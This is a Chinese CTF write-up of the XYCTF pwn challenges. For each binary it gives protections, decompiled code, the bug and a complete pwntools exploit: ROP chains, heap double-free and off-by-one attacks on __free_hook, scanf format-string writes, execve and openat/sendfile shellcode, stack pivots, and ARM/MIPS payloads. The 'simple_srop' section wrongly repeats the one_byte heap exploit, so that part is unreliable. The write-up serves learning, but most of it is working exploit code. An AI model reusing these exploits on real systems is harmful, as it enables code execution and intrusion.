XYCTF Pwn

XYCTF

总结:题目质量很高,学习到了很多,后期因为考试没太多时间打,其中ptmalloc2_its_myheap系列三个题未解,malloc-flag未解

题目下载

链接:https://pan.baidu.com/s/1LfMwCL8zft42nWFEeZlDzw?pwd=XYCT 
提取码:XYCT 
--来自百度网盘超级会员V2的分享

baby_gift

查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/babyGift/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
查看ida源码
__int64 GetInfo()
{
  char s[32]; // [rsp+0h] [rbp-40h] BYREF
  char v2[32]; // [rsp+20h] [rbp-20h] BYREF

  printf("Your name:");
  putchar(10);
  fgets(s, 32, stdin);
  printf("Your passwd:");
  putchar(10);
  fgets(v2, 64, stdin);
  return Gift(v2);
gift:
.text:0000000000401219                               ; __unwind {
.text:0000000000401219 F3 0F 1E FA                   endbr64
.text:000000000040121D 55                            push    rbp
.text:000000000040121E 48 89 E5                      mov     rbp, rsp
.text:0000000000401221 48 89 7D F8                   mov     [rbp+var_8], rdi
.text:0000000000401225 90                            nop
.text:0000000000401226 5D                            pop     rbp
.text:0000000000401227 C3                            retn
.text:0000000000401227                               ; } // starts at 401219
解题思路

经过分析最终还是没有发现gift没什么用处

本题的利用思路:

1️⃣利用printf泄露libc,并构造第二次循环(printf能够被利用的话需要把eax设为0

2️⃣通过第二次循环构造rop链 get shell

exp:

from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 0
if debug:
	p = remote('xyctf.top',37727)
else:
	p = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')

ret = 0x000000000040101a

payload = b'libc:%p'.ljust(0x20, b'\x00') + p64(0) + p64(0x40113F) + p64(elf.plt.printf) + p64(0x40122D)

p.sendlineafter(b'Your name:' , b'bbbbb')
p.sendafter(b'Your passwd:', payload)
p.recvuntil(b'libc:')
libc.address = int(p.recv(14), 16) - 0x21ab23
success(f'libc_addr -> {hex(libc.address)}')

rop = ROP(libc)
rop.system(next(libc.search(b"/bin/sh\x00")))

pop_rdi_ret = libc.address + 0x0002a3e5
sh = next(libc.search(b"/bin/sh\x00"))
p.sendlineafter(b'Your name:' , b'xxxxxxx')
p.sendlineafter(b'Your passwd:', b'c'*0x28 + p64(pop_rdi_ret) + p64(sh) + p64(libc.sym.system-0x46e))

p.interactive()

fastfastfast

查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/fastfastfast/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'/home/wc/Desktop/modifyLibc/lib/libc6_2.31-0ubuntu9.7_amd64'
查看ida源码
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int choice; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%u", &choice);
      if ( choice != 1 )
        break;
      create();
    }
    if ( choice == 2 )
    {
      delete();
    }
    else
    {
      if ( choice != 3 )
      {
        puts("Error choice");
        exit(0);
      }
      show();
    }
  }
}
存在漏洞;
void __cdecl delete()
{
  unsigned int idx; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v1; // [rsp+18h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("please input note idx");
  __isoc99_scanf("%u", &idx);
  if ( idx <= 0xF )
    free(note_addr[idx]);
  else
    puts("idx error");
}

指针数组在堆free之后没有将指针归零,存在double free

解题思路

libc版本为2.31有tcache 可以将七个tcache装满之后进行在fastbin 中 实现double free

1️⃣泄露libc:通过double free malloc到got表附近,然后通过show泄露libc(注意这个过程会修改got表,注意地址选择

2️⃣通过double free malloc到__free_hook附近,修改free_hook为system 从而在free时get shell

exp:
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
libc= ELF("./libc-2.31.so")
elf = ELF(file_name)
debug = 0
if debug:
	io = remote('192.168.40.1','53810')
else:
	io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
gs = '''
b show
b delete
'''
gdb.attach(io,gs)

def add(a,b):
	io.sendlineafter('>>> ',b'1')
	io.sendlineafter('please input note idx\n',str(a))
	io.sendlineafter('please input content\n',b)

def delete(a):
	io.sendlineafter('>>> ',b'2')
	io.sendlineafter('please input note idx\n',str(a))

def show(a):
	io.sendlineafter('>>> ',b'3')
	io.sendlineafter('please input note idx\n',str(a))

for i in range(7):
    add(i,'')
add(7,'')
add(8,'')
add(9,'')

for i in range(7):
    delete(i)
    
delete(7)
delete(8)
delete(7)

for i in range(7):
    add(i,'')

add(9,p64(0x404070))
add(10,'')
add(11,'')
add(12,'')
show(12)
x=io.recv(0x10)
libc.address=u64(io.recv(6).ljust(8,b'\x00')) -  libc.sym._IO_2_1_stdout_
success("got=-> " + hex(libc.address))

# pause()
for i in range(7):
    add(i,'')
add(7,'')
add(8,'')
add(9,'')

for i in range(7):
    delete(i)
    
delete(7)
delete(8)
delete(7)

for i in range(7):
    add(i,'')
pause()
add(9,p64(libc.sym.__free_hook))
add(10,'')
add(11,'/bin/sh\x00')
add(12,p64(libc.sym.system))

delete(11)

io.interactive()

fmt

查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/fmt/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'/home/wc/Desktop/modifyLibc/lib/libc6_2.31-0ubuntu9.7_amd64'
查看ida源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  printf("Welcome to xyctf, this is a gift: %p\n", &printf);
  read(0, buf1, 0x20uLL);
  __isoc99_scanf(buf1);
  printf("show your magic");
  return 0;
}

存在scanf格式化字符串漏洞

第一次输入可以认为时格式化

程序还存在backdoor

解题思路

与printf格式化字符串漏洞类似,scanf的格式化字符串在本题中可以达到任意写的目的。

其关键是指针的应用, %1 s —— s——%5 s——s 会被写入寄存器所存储的地址中,之后会依次写入栈中,但是要确保栈中存储的是有效地址,存储有效地址才能把该有效地址存储的数据更改

1️⃣程序所给直接获得libc基地址

2️⃣可以发现修改什么都不太能劫持控制流,最后选择的是打libc中的got表

观察libc中 printf的执行流,有一个call 子函数,进入该子函数,存在一条指令

mov     rax, cs:val3

很像got表,跟进一下确实是got表,将该got表改为backdoor即可get shell

exp:
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
libc= ELF("./libc-2.31.so")
elf = ELF(file_name)
debug = 0
if debug:
	io = remote('192.168.40.1','50935')
else:
	io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
gs = '''
b *0x40128D
'''
gdb.attach(io,gs)



io.recvuntil('elcome to xyctf, this is a gift: ')
printf_got=int(io.recv(15),16)
success("printf_got=>"+hex(printf_got))
libc.address=printf_got - libc.sym.printf
success("libc.address=>"+ hex(libc.address))

payload=b"%9$s".ljust(0x18,b'\x00') + p64(libc.address + 0x1EC040)
io.send(payload)

io.sendline(p64(0x4012BE))

io.interactive()

Guestbook1

查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/Guestbook1/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fd000)
    RUNPATH:  b'/home/wc/Desktop/modifyLibc/lib/libc6_2.35-0ubuntu3_amd64'
查看ida源码
void __cdecl GuestBook()
{
  int index; // [rsp+Ch] [rbp-224h] BYREF
  char name[32][16]; // [rsp+10h] [rbp-220h] BYREF
  unsigned __int8 id[32]; // [rsp+210h] [rbp-20h] BYREF

  puts("Welcome to starRail.");
  puts("please enter your name and id");
  while ( 1 )
  {
    while ( 1 )
    {
      puts("index");
      __isoc99_scanf("%d", &index);
      if ( index <= 32 )
        break;
      puts("out of range");
    }
    if ( index < 0 )
      break;
    puts("name:");
    read(0, name[index], 0x10uLL);
    puts("id:");
    __isoc99_scanf("%hhu", &id[index]);
  }
  puts("Have a good time!");
}

存在backdoor

解题思路

通过观察可以发现 0<=index<=32 gdb调试也可以发现存在off one byte漏洞,即溢出一字节到rbp上。(而刚好GuestBook 中有一个 leave return 在main函数中也有一个)所以 可以实现栈抬高

而程序可以在栈中任意输入,如果栈中全部填充backdoor,栈抬高之后即可ret到backdoor

1️⃣栈中填充backdoor,为下一步的栈抬高get shell做准备

2️⃣通过off one byte 将rbp最后一字节填充为0 ,两次leave ret后即可实现栈抬高

exp:
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './pwn'
libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 0
if debug:
	io = remote('xyctf.top',37663)
else:
	io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')

gdb.attach(io)

for i in range (0,33):

    io.sendlineafter('index\n',str(i))
    payload= p64(0x00401328) + p64(0x00401328)
    io.sendafter('name:\n',payload)
    io.sendlineafter('id:\n',b'0')

io.sendlineafter('index\n',b'-1')


io.interactive()

hello_world

查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/hello_world/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./:libc.so.6'
查看ida源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[20]; // [rsp+0h] [rbp-20h] BYREF

  init();
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  return 0;
}
解题思路

1️⃣第一次通过填充足够的padding 使得printf函数能够泄露libc

2️⃣构造rop链get shell

exp:(我打的第二次循环,有些麻烦)
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 1
if debug:
	io = remote('xyctf.top',37707)
else:
	io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
# gdb.attach(io,'b *$rebase(0x11ee)')

io.sendafter('please input your name: ',b'\x10')

payload= b'a'*0x28 + b'\x40' + b'\x9e' 

io.sendafter('please input your name: ',payload)

io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')

__libc_start_main=u64(io.recv(6).ljust(8,b'\x00')) 
success("__libc_start_main=>"+hex(__libc_start_main))

libc.address=__libc_start_main - libc.sym.__libc_start_main - 128
success("libc.address=>"+hex(libc.address))
pop_rdi_ret = libc.address + 0x000000000002a3e5

success("libc.sym.system=>"+hex(libc.sym.system))

success("libc.sym.system=>"+hex(pop_rdi_ret))



io.sendafter('please input your name: ',b'\x10')


pop_rdi_ret=libc.search(b'pop rdi ; ret')
pop_rdi_ret = libc.address + 0x000000000002a3e5
bin_sh=next(libc.search(b'/bin/sh\x00'))
payload=b'a'*0x28 + p64(pop_rdi_ret) + p64(bin_sh) + p64(libc.sym.system-0x46E)
io.sendafter('please input your name: ',payload)
io.interactive()

Intermittent

查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/Intermittent/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'/home/wc/Desktop/modifyLibc/lib/libc6_2.35-0ubuntu3_amd64'
查看ida源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 i; // [rsp+0h] [rbp-120h]
  void (*v5)(void); // [rsp+8h] [rbp-118h]
  _DWORD buf[66]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v7; // [rsp+118h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = (void (*)(void))mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( v5 == (void (*)(void))-1LL )
  {
    puts("ERROR");
    return 1;
  }
  else
  {
    write(1, "show your magic: ", 0x11uLL);
    read(0, buf, 0x100uLL);
    for ( i = 0LL; i <= 2; ++i )
      *((_DWORD *)v5 + 4 * i) = buf[i];
    v5();
    return 0;
  }
}
解题思路

构造十二字节shellcode,并且shellcode所执行的地址已经给出

注意:因为空字节的存在有

add    byte ptr [rax], al

需要使rax是个有效地址

1️⃣经过努力尝试无法直接get shell ,所有先构造read函数,读进执行shellcode的地址,第一次的shellcode执行完之后

2️⃣第二次读入可以get shell 的shellcode ,第一次的shellcode执行完之后紧接着执行第二次读入的shellcode从而get shell

exp:
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
# libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 0
if debug:
	io = remote('192.168.40.1','57032')
else:
	io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
gs = '''

'''
gdb.attach(io,gs)

shellcode = '''

    pop rdi
    pop rdi
    pop rax
    pop rdi
    pop rdi

    pop rdi
    pop rsi
    pop rdx

    pop rax
    syscall

'''
shellcode = asm(shellcode)

payload=shellcode.ljust(0x10,b'\x00')  + p64(0)+ p64(0x114514022) + p64(0x400)+ p64(0)
print(shellcode)
io.sendafter('show your magic: ',payload)
shellcode = '''
    xor 	rdx,	rdx	
    xor 	rsi,	rsi			
    push	rsi
    mov 	rdi,	0x68732f2f6e69622f	 
    push	rdi
    push	rsp		
    pop	rdi				
    mov 	al,	59			
    syscall

'''
shellcode = asm(shellcode)
sleep(1)
io.send(shellcode)

io.interactive()

ps:(借助栈的帮助我已经很努力地直接利用第一次shellcode getshll 但是差一字节没有成功)

invisible_flag

查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/invisible_flag/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'/home/wc/Desktop/modifyLibc/lib/libc6_2.35-0ubuntu3_amd64'

沙箱;

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 0013
 0006: 0x15 0x06 0x00 0x00000001  if (A == write) goto 0013
 0007: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0013
 0008: 0x15 0x04 0x00 0x00000013  if (A == readv) goto 0013
 0009: 0x15 0x03 0x00 0x00000014  if (A == writev) goto 0013
 0010: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0013
 0011: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL
查看ida源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *addr; // [rsp+8h] [rbp-118h]

  init();
  addr = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( addr == (void *)-1LL )
  {
    puts("ERROR");
    return 1;
  }
  else
  {
    puts("show your magic again");
    read(0, addr, 0x200uLL);
    sandbox();
    ((void (*)(void))addr)();
    return 0;
  }
}
解题思路

🍢根据禁用的函数,直接利用SYS_openat 与sendfile 得到flag

exp
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
# libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 1
if debug:
	io = remote('xyctf.top',37727)
else:
	io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')

shellcode = '''
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    xor edx, edx
    xor r10, r10
    push SYS_openat
    pop rax
    syscall

    
    mov rdi, 1
    mov rsi, 3
    push 0
    mov rdx, rsp
    mov r10, 0x100
    push SYS_sendfile
    pop rax
    syscall

'''

shellcode = asm(shellcode)
print(shellcode)
io.sendline(shellcode)

io.interactive()

one_byte

查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/one_byte/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'/home/wc/Desktop/modifyLibc/lib/libc6_2.31-0ubuntu9.14_amd64'
查看ida源码
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int choice; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = get_choice();
      if ( choice != 1 )
        break;
      add_chunk();
    }
    switch ( choice )
    {
      case 2:
        delete_chunk();
        break;
      case 3:
        view_chunk();
        break;
      case 4:
        edit_chunk();
        break;
      case 5:
        puts("[-] exit()");
        exit(0);
      default:
        puts("[-] Error choice!");
        break;
    }
  }
}

add_chunk限制chunk<=0x200

read_date存在off by one 漏洞,即可以覆盖下一chunk的size一字节

解题思路

1️⃣通过off by one 覆盖下一chunk的size,扩大其size,再经过free malloc 获得更大的chunk,从而可以直接覆盖与之相邻的下一个chunk ,更改其size为unsorted_bin 从而泄露libc

2️⃣再次与步骤一类似,修改下一free chunk的fd 为__free_hook 从而getshell

exp
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 1
if debug:
	io = remote('192.168.40.1','56827')
else:
	io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
gs = '''
b add_chunk
'''
# gdb.attach(io,gs)

def add(a,b):
	io.sendlineafter('>>> ',b'1')
	io.sendlineafter('[?] please input chunk_idx: ',str(a))
	io.sendlineafter('[?] Enter chunk size: ',str(b))

def delete(a):
	io.sendlineafter('>>> ',b'2')
	io.sendlineafter('[?] please input chunk_idx: ',str(a))

def show(a):
	io.sendlineafter('>>> ',b'3')
	io.sendlineafter('[?] please input chunk_idx: ',str(a))

def edit(a,b):
	io.sendlineafter('>>> ',b'4')
	io.sendlineafter('[?] please input chunk_idx: ',str(a))
	io.sendline(b)
 
add(0,0x18)
add(1,0x20)
add(2,0x200)
add(3,0x200)
add(4,0x200)

add(5,0x18)
add(6,0x20)
add(7,0x20)
add(8,0x20)
add(9,0x20)

payload=b'a'*0x10 + p64(0) + b'\x51'
edit(0,payload)
delete(1)


add(1,0x40)
payload=b'a'*0x20 + p64(0) + p64(0x421)
edit(1,payload)

payload=b'a'*0x10 + p64(0) + b'\x31'
edit(0,payload)

delete(2)

add(2,0x100)

show(2)

unsort_bin = u64(io.recv(7).ljust(8,b'\x00'))
success("unsort_bin=> "+ hex(unsort_bin))
libc.address = unsort_bin - 0x460 - libc.sym.__malloc_hook
success("libc.address=> "+ hex(libc.address))


payload=b'a'*0x10 + p64(0) + b'\x51'
edit(5,payload)
delete(6)
add(6,0x40)
delete(8)
delete(7)

payload=b'a'*0x20 + p64(0) + p64(0x31) + p64(libc.sym.__free_hook)
edit(6,payload)

add(10,0x20)
edit(10,b'/bin/sh')
add(11,0x20)
edit(11,p64(libc.sym.system))
delete(10)

io.interactive()

simple_srop

查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/simple_srop/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开了沙箱:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
 0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL
查看ida源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init(argc, argv, envp);
  read(0, buf, 0x200uLL);
  return 0;
}
__int64 rt_sigreturn()
{
  __int64 result; // rax

  result = 15LL;
  __asm { syscall; LINUX - sys_rt_sigreturn }
  return result;
}
解题思路

🍢栈迁移到bss段利用srop实现orw

注意:一次读入不够,需要先构造read

(详情看我另一个博客)

exp
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 1
if debug:
	io = remote('192.168.40.1','56827')
else:
	io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
gs = '''
b add_chunk
'''
# gdb.attach(io,gs)

def add(a,b):
	io.sendlineafter('>>> ',b'1')
	io.sendlineafter('[?] please input chunk_idx: ',str(a))
	io.sendlineafter('[?] Enter chunk size: ',str(b))

def delete(a):
	io.sendlineafter('>>> ',b'2')
	io.sendlineafter('[?] please input chunk_idx: ',str(a))

def show(a):
	io.sendlineafter('>>> ',b'3')
	io.sendlineafter('[?] please input chunk_idx: ',str(a))

def edit(a,b):
	io.sendlineafter('>>> ',b'4')
	io.sendlineafter('[?] please input chunk_idx: ',str(a))
	io.sendline(b)
 
add(0,0x18)
add(1,0x20)
add(2,0x200)
add(3,0x200)
add(4,0x200)

add(5,0x18)
add(6,0x20)
add(7,0x20)
add(8,0x20)
add(9,0x20)

payload=b'a'*0x10 + p64(0) + b'\x51'
edit(0,payload)
delete(1)


add(1,0x40)
payload=b'a'*0x20 + p64(0) + p64(0x421)
edit(1,payload)

payload=b'a'*0x10 + p64(0) + b'\x31'
edit(0,payload)

delete(2)

add(2,0x100)

show(2)

unsort_bin = u64(io.recv(7).ljust(8,b'\x00'))
success("unsort_bin=> "+ hex(unsort_bin))
libc.address = unsort_bin - 0x460 - libc.sym.__malloc_hook
success("libc.address=> "+ hex(libc.address))


payload=b'a'*0x10 + p64(0) + b'\x51'
edit(5,payload)
delete(6)
add(6,0x40)
delete(8)
delete(7)

payload=b'a'*0x20 + p64(0) + p64(0x31) + p64(libc.sym.__free_hook)
edit(6,payload)

add(10,0x20)
edit(10,b'/bin/sh')
add(11,0x20)
edit(11,p64(libc.sym.system))
delete(10)

io.interactive()

static_link

查看保护:
pwndbg> checksec
[*] '/home/wc/Desktop/SUM/ALL/xyctf/static_link/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=7a4efa9746885b1cf5b3dd77ae3c6059edae9c62, for GNU/Linux 3.2.0, not stripped
查看ida源码
__int64 vuln()
{
  char v1[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("static_link? ret2??");
  return read(0LL, v1, 256LL);
}

静态链接文件,没有syscall或者system

解题思路

1️⃣构造第二次 read到bss段,并实现栈迁移,

2️⃣第二次读入 构造好的orw

exp
from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './vuln'
# libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 1
if debug:
	io = remote('xyctf.top',37727)
else:
	io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
# gdb.attach(io,'b *0x40184E')

pop_rbp=0x0000000000401771
leave_ret=0x000000000040184c
rop = ROP(elf)
rop.read(0, elf.bss() + 0x100, 0x500)

payload = b'a'*0x28 + rop.chain() + p64(pop_rbp) + p64(elf.bss() + 0x100 ) + p64(leave_ret) +  p64(leave_ret)
io.sendafter('static_link? ret2??\n', payload)

rop = ROP(elf)
rop.open(elf.bss() + 0x100, 0)
rop.read(3, elf.bss() + 0x200, 0x40)
rop.puts(elf.bss() + 0x200)
payload =b'/flag\x00\x00\x00'  + rop.chain()
sleep(0.1)
io.sendline(payload)
io.interactive()

arm 与mips

需要利用qume配置虚拟环境,放在另一篇博客里,记录的不是特别完整

环境配置好后类比x86学习arm和mips架构即可,洞都比较简单,下面时两个的exp

1️⃣arm


from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './arm'
# libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 0
if debug:
	io = remote('192.168.40.1',61857)
else:
	io=process(b"""qemu-arm -g 8888 ./arm""",shell=True)
context(os='linux', arch='arm',log_level='debug',endian = 'little')

pause()
bin_sh = 0x8A090
pop_r0_r4 = 0x00026634
pop_r1 = 0x0005f824
pop_r4_r7 = 0x000280a4
pop_r3 = 0x00010160
mov_r2_r4_blx_r3 = 0x00043224
svc = 0x0002337c
# pause()
payload = b'a'*0x44 + p32(pop_r0_r4) + p32(bin_sh) + p32(0) 
payload += p32(pop_r1) + p32(0) 
payload += p32(pop_r4_r7) + p32(0) + p32(0xb)
payload += p32(pop_r3) + p32(svc) 
payload += p32(mov_r2_r4_blx_r3) 

io.sendline(payload)
io.interactive()

2️⃣mips(栈可执行)

from pwn import *
context(os='linux', arch='mips',log_level='debug',endian = 'little')
io=process(b"""qemu-mipsel -g 1234 ./mips""",shell=True)
# gdb.attach(io,)

# myproc = process(['qemu-aarch64','-g','1234','-L','/usr/aarch64-linux-gnu/','./pwn'])
# io = process(["qemu-mips", "-g", "8888", "./mips"])
# gdb.attach(io)
pause()
shellcode=asm(
"""
li $t1,0x6e69622f
sw $t1,0x40($sp) 
li $t1,0x0068732f
sw $t1,0x44($sp)
li $v0, 4011 
li $a2,0
li $a1,0
addiu $a0,$sp,0x40
syscall 
""")

pa1=b"a"*64+p32(0x41FBF4)+p32(0x427968)+0x58*b"b"+shellcode

io.send(pa1)
io.interactive()
  • 56
    点赞
  • 47
    收藏
    觉得还不错? 一键收藏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值